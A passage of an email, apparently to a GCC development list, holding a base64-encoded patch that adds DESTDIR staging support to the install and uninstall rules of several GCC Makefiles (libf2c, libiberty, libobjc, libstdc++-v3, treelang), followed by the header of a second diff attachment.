MSAkKG1hbjFkaXIpL3JtaXJlZ2lzdHJ5JChtYW4xZXh0KQ0KLQktY2htb2Qg YS14ICQobWFuMWRpcikvcm1pcmVnaXN0cnkkKG1hbjFleHQpDQorCS1ybSAt ZiAkKERFU1RESVIpJChtYW4xZGlyKS9nY2poJChtYW4xZXh0KQ0KKwktJChJ TlNUQUxMX0RBVEEpICQoc3JjZGlyKS9qYXZhL2djamguMSAkKERFU1RESVIp JChtYW4xZGlyKS9nY2poJChtYW4xZXh0KQ0KKwktY2htb2QgYS14ICQoREVT VERJUikkKG1hbjFkaXIpL2djamgkKG1hbjFleHQpDQorCS1ybSAtZiAkKERF U1RESVIpJChtYW4xZGlyKS9qdi1zY2FuJChtYW4xZXh0KQ0KKwktJChJTlNU QUxMX0RBVEEpICQoc3JjZGlyKS9qYXZhL2p2LXNjYW4uMSAkKERFU1RESVIp JChtYW4xZGlyKS9qdi1zY2FuJChtYW4xZXh0KQ0KKwktY2htb2QgYS14ICQo REVTVERJUikkKG1hbjFkaXIpL2p2LXNjYW4kKG1hbjFleHQpDQorCS1ybSAt ZiAkKERFU1RESVIpJChtYW4xZGlyKS9qY2YtZHVtcCQobWFuMWV4dCkNCisJ LSQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvamF2YS9qY2YtZHVtcC4xICQo REVTVERJUikkKG1hbjFkaXIpL2pjZi1kdW1wJChtYW4xZXh0KQ0KKwktY2ht b2QgYS14ICQoREVTVERJUikkKG1hbjFkaXIpL2pjZi1kdW1wJChtYW4xZXh0 KQ0KKwktcm0gLWYgJChERVNURElSKSQobWFuMWRpcikvZ2lqJChtYW4xZXh0 KQ0KKwktJChJTlNUQUxMX0RBVEEpICQoc3JjZGlyKS9qYXZhL2dpai4xICQo REVTVERJUikkKG1hbjFkaXIpL2dpaiQobWFuMWV4dCkNCisJLWNobW9kIGEt eCAkKERFU1RESVIpJChtYW4xZGlyKS9naWokKG1hbjFleHQpDQorCS1ybSAt ZiAkKERFU1RESVIpJChtYW4xZGlyKS9qdi1jb252ZXJ0JChtYW4xZXh0KQ0K KwktJChJTlNUQUxMX0RBVEEpICQoc3JjZGlyKS9qYXZhL2p2LWNvbnZlcnQu MSAkKERFU1RESVIpJChtYW4xZGlyKS9qdi1jb252ZXJ0JChtYW4xZXh0KQ0K KwktY2htb2QgYS14ICQoREVTVERJUikkKG1hbjFkaXIpL2p2LWNvbnZlcnQk KG1hbjFleHQpDQorCS1ybSAtZiAkKERFU1RESVIpJChtYW4xZGlyKS9ybWlj JChtYW4xZXh0KQ0KKwktJChJTlNUQUxMX0RBVEEpICQoc3JjZGlyKS9qYXZh L3JtaWMuMSAkKERFU1RESVIpJChtYW4xZGlyKS9ybWljJChtYW4xZXh0KQ0K KwktY2htb2QgYS14ICQoREVTVERJUikkKG1hbjFkaXIpL3JtaWMkKG1hbjFl eHQpDQorCS1ybSAtZiAkKERFU1RESVIpJChtYW4xZGlyKS9ybWlyZWdpc3Ry eSQobWFuMWV4dCkNCisJLSQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvamF2 YS9ybWlyZWdpc3RyeS4xICQoREVTVERJUikkKG1hbjFkaXIpL3JtaXJlZ2lz dHJ5JChtYW4xZXh0KQ0KKwktY2htb2QgYS14ICQoREVTVERJUikkKG1hbjFk aXIpL3JtaXJlZ2lzdHJ5JChtYW4xZXh0KQ0KSW5kZXg6IGdjYy90cmVlbGFu Zy9NYWtlLWxhbmcuaW4NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBm aWxlOiAvdXNyL2xvY2FsL3NyYy9jdnMvZ2NjLWN2cy9nY2MvZ2NjL3RyZWVs YW5nL01ha2UtbGFuZy5pbix2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNy4x Mi4xDQpkaWZmIC11IC1yMS43LjEyLjEgTWFrZS1sYW5nLmluDQotLS0gZ2Nj L3RyZWVsYW5nL01ha2UtbGFuZy5pbgkyMyBEZWMgMjAwMiAxOTozODo0NyAt MDAwMAkxLjcuMTIuMQ0KKysrIGdjYy90cmVlbGFuZy9NYWtlLWxhbmcuaW4J MTIgSmFuIDIwMDMgMTg6NDg6NTkgLTAwMDANCkBAIC0xNjksMTAgKzE2OSwx MCBAQA0KIAlkbyBcDQogCSAgIGlmIFsgLWYgJCRuYW1lIF0gOyB0aGVuIFwN CiAJICAgIG5hbWUyPSJgZWNobyBcYGJhc2VuYW1lICQkbmFtZVxgIHwgc2Vk IC1lICckKHByb2dyYW1fdHJhbnNmb3JtX25hbWUpJyBgIjsgXA0KLQkgICAg cm0gLWYgJChiaW5kaXIpLyQkbmFtZTIkKGV4ZWV4dCk7IFwNCi0JICAgIGVj aG8gJChJTlNUQUxMX1BST0dSQU0pICQkbmFtZSQoZXhlZXh0KSAkKGJpbmRp cikvJCRuYW1lMiQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BST0dS QU0pICQkbmFtZSQoZXhlZXh0KSAkKGJpbmRpcikvJCRuYW1lMiQoZXhlZXh0 KTsgXA0KLQkgICAgY2htb2QgYSt4ICQoYmluZGlyKS8kJG5hbWUyJChleGVl eHQpOyBcDQorCSAgICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpLyQkbmFt ZTIkKGV4ZWV4dCk7IFwNCisJICAgIGVjaG8gJChJTlNUQUxMX1BST0dSQU0p ICQkbmFtZSQoZXhlZXh0KSAkKERFU1RESVIpJChiaW5kaXIpLyQkbmFtZTIk KGV4ZWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSAkJG5hbWUk KGV4ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS8kJG5hbWUyJChleGVleHQp OyBcDQorCSAgICBjaG1vZCBhK3ggJChERVNURElSKSQoYmluZGlyKS8kJG5h bWUyJChleGVleHQpOyBcDQogCSAgZmkgOyBcDQogCWRvbmUNCiAJJChTVEFN UCkgdHJlZWxhbmcuaW5zdGFsbC5jb21tb24uZG9uZQ0KQEAgLTE4Miw5ICsx ODIsOSBAQA0KIAlkbyBcDQogCSAgIGlmIFsgLWYgJCRuYW1lIF0gOyB0aGVu IFwNCiAJICAgIG5hbWUyPSJgZWNobyBcYGJhc2VuYW1lICQkbmFtZVxgIHwg c2VkIC1lICckKHByb2dyYW1fdHJhbnNmb3JtX25hbWUpJyBgIjsgXA0KLQkg ICAgcm0gLWYgJChsaWJzdWJkaXIpLyQkbmFtZTIkKGV4ZWV4dCk7IFwNCi0J ICAgICQoSU5TVEFMTF9QUk9HUkFNKSAkJG5hbWUkKGV4ZWV4dCkgJChsaWJz dWJkaXIpLyQkbmFtZTIkKGV4ZWV4dCk7IFwNCi0JICAgIGNobW9kIGEreCAk KGxpYnN1YmRpcikvJCRuYW1lMiQoZXhlZXh0KTsgXA0KKwkgICAgcm0gLWYg JChERVNURElSKSQobGlic3ViZGlyKS8kJG5hbWUyJChleGVleHQpOyBcDQor CSAgICAkKElOU1RBTExfUFJPR1JBTSkgJCRuYW1lJChleGVleHQpICQoREVT VERJUikkKGxpYnN1YmRpcikvJCRuYW1lMiQoZXhlZXh0KTsgXA0KKwkgICAg Y2htb2QgYSt4ICQoREVTVERJUikkKGxpYnN1YmRpcikvJCRuYW1lMiQoZXhl ZXh0KTsgXA0KIAkgIGZpIDsgXA0KIAlkb25lDQogDQpAQCAtMTk2LDggKzE5 Niw4IEBADQogCSAgZWNobyAkJG5hbWU7IFwNCiAJICBuYW1lMj0iYGVjaG8g JCRuYW1lIHwgc2VkIC1lICckKHByb2dyYW1fdHJhbnNmb3JtX25hbWUpJyBg IjsgXA0KIAkgIGVjaG8gYmVjb21lcyAkJG5hbWUyOyBcDQotCSAgZWNobyAt cm0gLXJmICQoYmluZGlyKS8kJG5hbWUyJChleGVleHQpOyBcDQotCSAgcm0g LXJmICQoYmluZGlyKS8kJG5hbWUyJChleGVleHQpOyBcDQorCSAgZWNobyAt cm0gLXJmICQoREVTVERJUikkKGJpbmRpcikvJCRuYW1lMiQoZXhlZXh0KTsg XA0KKwkgIHJtIC1yZiAkKERFU1RESVIpJChiaW5kaXIpLyQkbmFtZTIkKGV4 ZWV4dCk7IFwNCiAJZG9uZQ0KIAktcm0gdHJlZWxhbmcuaW5zdGFsbC5jb21t b24uZG9uZQ0KIA0KSW5kZXg6IGxpYmYyYy9NYWtlZmlsZS5pbg0KPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC91c3IvbG9jYWwvc3JjL2N2 cy9nY2MtY3ZzL2djYy9saWJmMmMvTWFrZWZpbGUuaW4sdg0KcmV0cmlldmlu ZyByZXZpc2lvbiAxLjU0DQpkaWZmIC11IC1yMS41NCBNYWtlZmlsZS5pbg0K LS0tIGxpYmYyYy9NYWtlZmlsZS5pbgkyMyBTZXAgMjAwMiAwMzo1Mjo1MCAt MDAwMAkxLjU0DQorKysgbGliZjJjL01ha2VmaWxlLmluCTEyIEphbiAyMDAz IDE4OjQ4OjU5IC0wMDAwDQpAQCAtODEsNiArODEsNyBAQA0KIAlXQVJOX0NG TEFHUz0nJChXQVJOX0NGTEFHUyknIFwNCiAJQ0ZMQUdTPSckKENGTEFHUykn IFwNCiAJQ1BQRkxBR1M9JyQoQ1BQRkxBR1MpJyBcDQorCURFU1RESVI9JyQo REVTVERJUiknIFwNCiAJQVI9JyQoQVIpJyBcDQogCVJBTkxJQj0nJChSQU5M SUIpJyBcDQogCXByZWZpeD0nJChwcmVmaXgpJyBcDQpAQCAtMjE0LDIxICsy MTUsMjEgQEANCiAJY2QgbGliVTc3OyAkKE1BS0UpIEc3N0RJUj0uLi8uLi8u Li9nY2MvIGNoZWNrDQogDQogaW5zdGFsbDogYWxsDQotCSQoU0hFTEwpICQo dG9wbGV2ZWxfc3JjZGlyKS9ta2luc3RhbGxkaXJzICQoZ2xpYmNwcF90b29s ZXhlY2xpYmRpcikNCi0JJChMSUJUT09MKSAtLW1vZGU9aW5zdGFsbCAkKElO U1RBTEwpICQoTElCRzJDKSAkKGdsaWJjcHBfdG9vbGV4ZWNsaWJkaXIpDQot CSQoSU5TVEFMTF9EQVRBKSBsaWJmcnRiZWdpbi5hICQoZ2xpYmNwcF90b29s ZXhlY2xpYmRpcikNCi0JJChSQU5MSUIpICQoZ2xpYmNwcF90b29sZXhlY2xp YmRpcikvbGliZnJ0YmVnaW4uYQ0KLQkkKElOU1RBTExfREFUQSkgZzJjLmgg JChsaWJzdWJkaXIpL2luY2x1ZGUvZzJjLmgNCisJJChTSEVMTCkgJCh0b3Bs ZXZlbF9zcmNkaXIpL21raW5zdGFsbGRpcnMgJChERVNURElSKSQoZ2xpYmNw cF90b29sZXhlY2xpYmRpcikNCisJJChMSUJUT09MKSAtLW1vZGU9aW5zdGFs bCAkKElOU1RBTEwpICQoTElCRzJDKSAkKERFU1RESVIpJChnbGliY3BwX3Rv b2xleGVjbGliZGlyKQ0KKwkkKElOU1RBTExfREFUQSkgbGliZnJ0YmVnaW4u YSAkKERFU1RESVIpJChnbGliY3BwX3Rvb2xleGVjbGliZGlyKQ0KKwkkKFJB TkxJQikgJChERVNURElSKSQoZ2xpYmNwcF90b29sZXhlY2xpYmRpcikvbGli ZnJ0YmVnaW4uYQ0KKwkkKElOU1RBTExfREFUQSkgZzJjLmggJChERVNURElS KSQobGlic3ViZGlyKS9pbmNsdWRlL2cyYy5oDQogCSQoTVVMVElETykgJChG TEFHU19UT19QQVNTKSBtdWx0aS1kbyBETz0iJEAiDQotCUAtJChMSUJUT09M KSAtLW1vZGU9ZmluaXNoICQoZ2xpYmNwcF90b29sZXhlY2xpYmRpcikNCisJ QC0kKExJQlRPT0wpIC0tbW9kZT1maW5pc2ggJChERVNURElSKSQoZ2xpYmNw cF90b29sZXhlY2xpYmRpcikNCiANCiBpbnN0YWxsLXN0cmlwOg0KIAkkKE1B S0UpIElOU1RBTExfUFJPR1JBTT0nJChJTlNUQUxMX1BST0dSQU0pIC1zJyBp bnN0YWxsDQogDQogdW5pbnN0YWxsOg0KLQlybSAtZiAkKGxpYnN1YmRpcikv aW5jbHVkZS9nMmMuaA0KLQlybSAtZiAkKGdsaWJjcHBfdG9vbGV4ZWNsaWJk aXIpL2xpYmZydGJlZ2luLmENCi0JJChMSUJUT09MKSAtLW1vZGU9dW5pbnN0 YWxsIHJtIC1mICQoZ2xpYmNwcF90b29sZXhlY2xpYmRpcikkKExJQkcyQ19C QVNFKS5sYQ0KKwlybSAtZiAkKERFU1RESVIpJChsaWJzdWJkaXIpL2luY2x1 ZGUvZzJjLmgNCisJcm0gLWYgJChERVNURElSKSQoZ2xpYmNwcF90b29sZXhl Y2xpYmRpcikvbGliZnJ0YmVnaW4uYQ0KKwkkKExJQlRPT0wpIC0tbW9kZT11 bmluc3RhbGwgcm0gLWYgJChERVNURElSKSQoZ2xpYmNwcF90b29sZXhlY2xp YmRpcikkKExJQkcyQ19CQVNFKS5sYQ0KIAkkKE1VTFRJRE8pICQoRkxBR1Nf VE9fUEFTUykgbXVsdGktZG8gRE89IiRAIg0KIA0KIG1vc3RseWNsZWFuOg0K SW5kZXg6IGxpYmliZXJ0eS9NYWtlZmlsZS5pbg0KPT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PQ0KUkNTIGZpbGU6IC91c3IvbG9jYWwvc3JjL2N2cy9nY2MtY3Zz L2djYy9saWJpYmVydHkvTWFrZWZpbGUuaW4sdg0KcmV0cmlldmluZyByZXZp c2lvbiAxLjc4DQpkaWZmIC11IC1yMS43OCBNYWtlZmlsZS5pbg0KLS0tIGxp YmliZXJ0eS9NYWtlZmlsZS5pbgkyMiBOb3YgMjAwMiAyMDowMTowNyAtMDAw MAkxLjc4DQorKysgbGliaWJlcnR5L01ha2VmaWxlLmluCTEyIEphbiAyMDAz IDE4OjQ4OjU5IC0wMDAwDQpAQCAtODQsNiArODQsNyBAQA0KIAkiQVJfRkxB R1M9JChBUl9GTEFHUykiIFwNCiAJIkNDPSQoQ0MpIiBcDQogCSJDRkxBR1M9 JChDRkxBR1MpIiBcDQorCSJERVNURElSPSQoREVTVERJUikiIFwNCiAJIkxJ QkNGTEFHUz0kKExJQkNGTEFHUykiIFwNCiAJIkVYVFJBX09GSUxFUz0kKEVY VFJBX09GSUxFUykiIFwNCiAJIkhERUZJTkVTPSQoSERFRklORVMpIiBcDQpA QCAtMjYxLDYgKzI2Miw3IEBADQogaW5zdGFsbDogaW5zdGFsbF90b18kKElO U1RBTExfREVTVCkgaW5zdGFsbC1zdWJkaXINCiANCiBpbnN0YWxsX3RvX2xp YmRpcjogYWxsDQorCSR7bWtpbnN0YWxsZGlyc30gJChERVNURElSKSQobGli ZGlyKSQoTVVMVElTVUJESVIpDQogCSQoSU5TVEFMTF9EQVRBKSAkKFRBUkdF VExJQikgJChERVNURElSKSQobGliZGlyKSQoTVVMVElTVUJESVIpLyQoVEFS R0VUTElCKW4NCiAJKCBjZCAkKERFU1RESVIpJChsaWJkaXIpJChNVUxUSVNV QkRJUikgOyAkKFJBTkxJQikgJChUQVJHRVRMSUIpbiApDQogCW12IC1mICQo REVTVERJUikkKGxpYmRpcikkKE1VTFRJU1VCRElSKS8kKFRBUkdFVExJQilu ICQoREVTVERJUikkKGxpYmRpcikkKE1VTFRJU1VCRElSKS8kKFRBUkdFVExJ QikNCkBAIC0yNzcsNiArMjc5LDcgQEANCiAJQCQoTVVMVElETykgJChGTEFH U19UT19QQVNTKSBtdWx0aS1kbyBETz1pbnN0YWxsDQogDQogaW5zdGFsbF90 b190b29sZGlyOiBhbGwNCisJJHtta2luc3RhbGxkaXJzfSAkKERFU1RESVIp JCh0b29sZGlyKS9saWIkKE1VTFRJU1VCRElSKQ0KIAkkKElOU1RBTExfREFU QSkgJChUQVJHRVRMSUIpICQoREVTVERJUikkKHRvb2xkaXIpL2xpYiQoTVVM VElTVUJESVIpLyQoVEFSR0VUTElCKW4NCiAJKCBjZCAkKERFU1RESVIpJCh0 b29sZGlyKS9saWIkKE1VTFRJU1VCRElSKSA7ICQoUkFOTElCKSAkKFRBUkdF VExJQiluICkNCiAJbXYgLWYgJChERVNURElSKSQodG9vbGRpcikvbGliJChN VUxUSVNVQkRJUikvJChUQVJHRVRMSUIpbiAkKERFU1RESVIpJCh0b29sZGly KS9saWIkKE1VTFRJU1VCRElSKS8kKFRBUkdFVExJQikNCkluZGV4OiBsaWJv YmpjL01ha2VmaWxlLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1Mg ZmlsZTogL3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1jdnMvZ2NjL2xpYm9iamMv TWFrZWZpbGUuaW4sdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjIyDQpkaWZm IC11IC1yMS4yMiBNYWtlZmlsZS5pbg0KLS0tIGxpYm9iamMvTWFrZWZpbGUu aW4JMjMgU2VwIDIwMDIgMDM6NTI6NTMgLTAwMDAJMS4yMg0KKysrIGxpYm9i amMvTWFrZWZpbGUuaW4JMTIgSmFuIDIwMDMgMTg6NDg6NTkgLTAwMDANCkBA IC0xMTgsNiArMTE4LDcgQEANCiAJIkFSX0ZMQUdTPSQoQVJfRkxBR1MpIiBc DQogCSJDQz0kKENDKSIgXA0KIAkiQ0ZMQUdTPSQoQ0ZMQUdTKSIgXA0KKwki REVTVERJUj0kKERFU1RESVIpIiBcDQogCSJMSUJDRkxBR1M9JChMSUJDRkxB R1MpIiBcDQogCSJFWFRSQV9PRklMRVM9JChFWFRSQV9PRklMRVMpIiBcDQog CSJIREVGSU5FUz0kKEhERUZJTkVTKSIgXA0KQEAgLTMxOCwyMSArMzE5LDIx IEBADQogaW5zdGFsbDogaW5zdGFsbC1saWJzIGluc3RhbGwtaGVhZGVycw0K IA0KIGluc3RhbGwtbGliczogaW5zdGFsbGRpcnMNCi0JJChTSEVMTCkgJCh0 b3BsZXZlbF9zcmNkaXIpL21raW5zdGFsbGRpcnMgJChnbGliY3BwX3Rvb2xl eGVjbGliZGlyKQ0KLQkkKExJQlRPT0xfSU5TVEFMTCkgJChJTlNUQUxMKSBs aWJvYmpjLmxhICQoZ2xpYmNwcF90b29sZXhlY2xpYmRpcik7DQorCSQoU0hF TEwpICQodG9wbGV2ZWxfc3JjZGlyKS9ta2luc3RhbGxkaXJzICQoREVTVERJ UikkKGdsaWJjcHBfdG9vbGV4ZWNsaWJkaXIpDQorCSQoTElCVE9PTF9JTlNU QUxMKSAkKElOU1RBTEwpIGxpYm9iamMubGEgJChERVNURElSKSQoZ2xpYmNw cF90b29sZXhlY2xpYmRpcik7DQogCWlmIFsgIiQoT0JKQ19CT0VITV9HQyki IF07IHRoZW4gXA0KIAkgICQoTElCVE9PTF9JTlNUQUxMKSAkKElOU1RBTEwp IGxpYm9iamNfZ2MubGEgXA0KLQkJCQkkKGdsaWJjcHBfdG9vbGV4ZWNsaWJk aXIpO1wNCisJCQkJJChERVNURElSKSQoZ2xpYmNwcF90b29sZXhlY2xpYmRp cik7XA0KIAlmaQ0KIAkkKE1VTFRJRE8pICQoRkxBR1NfVE9fUEFTUykgbXVs dGktZG8gRE89IiRAIg0KLQlALSQoTElCVE9PTCkgLS1tb2RlPWZpbmlzaCAk KGdsaWJjcHBfdG9vbGV4ZWNsaWJkaXIpDQorCUAtJChMSUJUT09MKSAtLW1v ZGU9ZmluaXNoICQoREVTVERJUikkKGdsaWJjcHBfdG9vbGV4ZWNsaWJkaXIp DQogDQogIyBDb3B5IE9iamVjdGl2ZSBDIGhlYWRlcnMgdG8gaW5zdGFsbGF0 aW9uIGluY2x1ZGUgZGlyZWN0b3J5Lg0KIGluc3RhbGwtaGVhZGVyczoNCi0J JChTSEVMTCkgJCh0b3BsZXZlbF9zcmNkaXIpL21raW5zdGFsbGRpcnMgJChs aWJzdWJkaXIpL2luY2x1ZGUvb2JqYw0KKwkkKFNIRUxMKSAkKHRvcGxldmVs X3NyY2RpcikvbWtpbnN0YWxsZGlycyAkKERFU1RESVIpJChsaWJzdWJkaXIp L2luY2x1ZGUvb2JqYw0KIAlmb3IgZmlsZSBpbiAkKE9CSkNfSCk7IGRvIFwN CiAJICByZWFsZmlsZT0kKHNyY2Rpcikvb2JqYy8kJHtmaWxlfTsgXA0KLQkg ICQoSU5TVEFMTF9EQVRBKSAkJHtyZWFsZmlsZX0gJChsaWJzdWJkaXIpL2lu Y2x1ZGUvb2JqYzsgXA0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJHtyZWFsZmls ZX0gJChERVNURElSKSQobGlic3ViZGlyKS9pbmNsdWRlL29iamM7IFwNCiAJ ZG9uZQ0KIA0KIGNoZWNrIHVuaW5zdGFsbCBpbnN0YWxsLXN0cmlwIGRpc3Qg aW5zdGFsbGNoZWNrIGluc3RhbGxkaXJzOg0KSW5kZXg6IGxpYnN0ZGMrKy12 My9pbmNsdWRlL01ha2VmaWxlLmFtDQo9PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 DQpSQ1MgZmlsZTogL3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1jdnMvZ2NjL2xp YnN0ZGMrKy12My9pbmNsdWRlL01ha2VmaWxlLmFtLHYNCnJldHJpZXZpbmcg cmV2aXNpb24gMS40My40LjENCmRpZmYgLXUgLXIxLjQzLjQuMSBNYWtlZmls ZS5hbQ0KLS0tIGxpYnN0ZGMrKy12My9pbmNsdWRlL01ha2VmaWxlLmFtCTYg SmFuIDIwMDMgMjI6MjA6MDQgLTAwMDAJMS40My40LjENCisrKyBsaWJzdGRj KystdjMvaW5jbHVkZS9NYWtlZmlsZS5hbQkxMiBKYW4gMjAwMyAxODo0ODo1 OSAtMDAwMA0KQEAgLTQ2NiwzMiArNDY2LDMyIEBADQogIyB0aGUgcmVzdCBh cmUgdGFrZW4gZnJvbSB0aGUgb3JpZ2luYWwgc291cmNlIHRyZWUuDQogZ3h4 X2luY2x1ZGVfZGlyID0gQGd4eF9pbmNsdWRlX2RpckANCiBpbnN0YWxsLWRh dGEtbG9jYWw6DQotCSQobWtpbnN0YWxsZGlycykgJHtneHhfaW5jbHVkZV9k aXJ9DQotCSQobWtpbnN0YWxsZGlycykgJHtneHhfaW5jbHVkZV9kaXJ9LyR7 Yml0c19idWlsZGRpcn0NCisJJChta2luc3RhbGxkaXJzKSAkKERFU1RESVIp JHtneHhfaW5jbHVkZV9kaXJ9DQorCSQobWtpbnN0YWxsZGlycykgJChERVNU RElSKSR7Z3h4X2luY2x1ZGVfZGlyfS8ke2JpdHNfYnVpbGRkaXJ9DQogCWZv ciBmaWxlIGluICR7Yml0c19oZWFkZXJzfTsgZG8gXA0KLQkgICQoSU5TVEFM TF9EQVRBKSAkJHtmaWxlfSAke2d4eF9pbmNsdWRlX2Rpcn0vJHtiaXRzX2J1 aWxkZGlyfTsgZG9uZQ0KLQkkKG1raW5zdGFsbGRpcnMpICR7Z3h4X2luY2x1 ZGVfZGlyfS8ke2JhY2t3YXJkX2J1aWxkZGlyfQ0KKwkgICQoSU5TVEFMTF9E QVRBKSAkJHtmaWxlfSAkKERFU1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7 Yml0c19idWlsZGRpcn07IGRvbmUNCisJJChta2luc3RhbGxkaXJzKSAkKERF U1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7YmFja3dhcmRfYnVpbGRkaXJ9 DQogCWZvciBmaWxlIGluICR7YmFja3dhcmRfaGVhZGVyc307IGRvIFwNCi0J ICAkKElOU1RBTExfREFUQSkgJCR7ZmlsZX0gJHtneHhfaW5jbHVkZV9kaXJ9 LyR7YmFja3dhcmRfYnVpbGRkaXJ9OyBkb25lDQotCSQobWtpbnN0YWxsZGly cykgJHtneHhfaW5jbHVkZV9kaXJ9LyR7ZXh0X2J1aWxkZGlyfQ0KKwkgICQo SU5TVEFMTF9EQVRBKSAkJHtmaWxlfSAkKERFU1RESVIpJHtneHhfaW5jbHVk ZV9kaXJ9LyR7YmFja3dhcmRfYnVpbGRkaXJ9OyBkb25lDQorCSQobWtpbnN0 YWxsZGlycykgJChERVNURElSKSR7Z3h4X2luY2x1ZGVfZGlyfS8ke2V4dF9i dWlsZGRpcn0NCiAJZm9yIGZpbGUgaW4gJHtleHRfaGVhZGVyc307IGRvIFwN Ci0JICAkKElOU1RBTExfREFUQSkgJCR7ZmlsZX0gJHtneHhfaW5jbHVkZV9k aXJ9LyR7ZXh0X2J1aWxkZGlyfTsgZG9uZQ0KLQkkKG1raW5zdGFsbGRpcnMp ICR7Z3h4X2luY2x1ZGVfZGlyfS8ke2NfYmFzZV9idWlsZGRpcn0NCisJICAk KElOU1RBTExfREFUQSkgJCR7ZmlsZX0gJChERVNURElSKSR7Z3h4X2luY2x1 ZGVfZGlyfS8ke2V4dF9idWlsZGRpcn07IGRvbmUNCisJJChta2luc3RhbGxk aXJzKSAkKERFU1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7Y19iYXNlX2J1 aWxkZGlyfQ0KIAlmb3IgZmlsZSBpbiAke2NfYmFzZV9oZWFkZXJzX3JlbmFt ZX07IGRvIFwNCi0JICAkKElOU1RBTExfREFUQSkgJHtjX2Jhc2VfYnVpbGRk aXJ9LyQke2ZpbGV9ICR7Z3h4X2luY2x1ZGVfZGlyfTsgZG9uZQ0KKwkgICQo SU5TVEFMTF9EQVRBKSAke2NfYmFzZV9idWlsZGRpcn0vJCR7ZmlsZX0gJChE RVNURElSKSR7Z3h4X2luY2x1ZGVfZGlyfS8ke2NfYmFzZV9idWlsZGRpcn07 IGRvbmUNCiAJY19iYXNlX2hlYWRlcnNfZXh0cmFfaW5zdGFsbD0nJChjX2Jh c2VfaGVhZGVyc19leHRyYSknO1wNCiAJZm9yIGZpbGUgaW4gJCRjX2Jhc2Vf aGVhZGVyc19leHRyYV9pbnN0YWxsOyBkbyBcDQotCSAgJChJTlNUQUxMX0RB VEEpICQkZmlsZSAke2d4eF9pbmNsdWRlX2Rpcn0vJHtiaXRzX2J1aWxkZGly fTsgZG9uZQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJGZpbGUgJChERVNURElS KSR7Z3h4X2luY2x1ZGVfZGlyfS8ke2JpdHNfYnVpbGRkaXJ9OyBkb25lDQog CWNfY29tcGF0aWJpbGl0eV9oZWFkZXJzX2luc3RhbGw9JyQoY19jb21wYXRp YmlsaXR5X2hlYWRlcnNfZXh0cmEpJztcDQogCWZvciBmaWxlIGluICQkY19j b21wYXRpYmlsaXR5X2hlYWRlcnNfaW5zdGFsbDsgZG8gXA0KLQkgICQoSU5T VEFMTF9EQVRBKSAkJGZpbGUgJHtneHhfaW5jbHVkZV9kaXJ9OyBkb25lDQot CSQobWtpbnN0YWxsZGlycykgJHtneHhfaW5jbHVkZV9kaXJ9LyR7c3RkX2J1 aWxkZGlyfQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJGZpbGUgJChERVNURElS KSR7Z3h4X2luY2x1ZGVfZGlyfTsgZG9uZQ0KKwkkKG1raW5zdGFsbGRpcnMp ICQoREVTVERJUikke2d4eF9pbmNsdWRlX2Rpcn0vJHtzdGRfYnVpbGRkaXJ9 DQogCWZvciBmaWxlIGluICR7c3RkX2hlYWRlcnNfcmVuYW1lfTsgZG8gXA0K LQkgICQoSU5TVEFMTF9EQVRBKSAke3N0ZF9idWlsZGRpcn0vJCR7ZmlsZX0g JHtneHhfaW5jbHVkZV9kaXJ9OyBkb25lDQotCSQobWtpbnN0YWxsZGlycykg JHtneHhfaW5jbHVkZV9kaXJ9LyR7dGFyZ2V0X2J1aWxkZGlyfQ0KKwkgICQo SU5TVEFMTF9EQVRBKSAke3N0ZF9idWlsZGRpcn0vJCR7ZmlsZX0gJChERVNU RElSKSR7Z3h4X2luY2x1ZGVfZGlyfS8ke3N0ZF9idWlsZGRpcn07IGRvbmUN CisJJChta2luc3RhbGxkaXJzKSAkKERFU1RESVIpJHtneHhfaW5jbHVkZV9k aXJ9LyR7dGFyZ2V0X2J1aWxkZGlyfQ0KIAlmb3IgZmlsZSBpbiAke3Rhcmdl dF9oZWFkZXJzfSAke3RhcmdldF9oZWFkZXJzX2V4dHJhfSBcDQogCSAke3Ro cmVhZF90YXJnZXRfaGVhZGVyc307IGRvIFwNCi0JICAkKElOU1RBTExfREFU QSkgJCR7ZmlsZX0gJHtneHhfaW5jbHVkZV9kaXJ9LyR7dGFyZ2V0X2J1aWxk ZGlyfTsgZG9uZQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJHtmaWxlfSAkKERF U1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7dGFyZ2V0X2J1aWxkZGlyfTsg ZG9uZQ0KIA0KICMgQnkgYWRkaW5nIHRoZXNlIGZpbGVzIGhlcmUsIGF1dG9t YWtlIHdpbGwgcmVtb3ZlIHRoZW0gZm9yICdtYWtlIGNsZWFuJw0KICNDTEVB TkZJTEVTID0gJHthbGxzdGFtcHN9DQo= --8323584-1869864082-1042396557=:2599 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="destdir-no-am-3.3-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="destdir-no-am-3.3-1.diff" SW5kZXg6IGxpYnN0ZGMrKy12My9pbmNsdWRlL01ha2VmaWxlLmluDQo9PT09 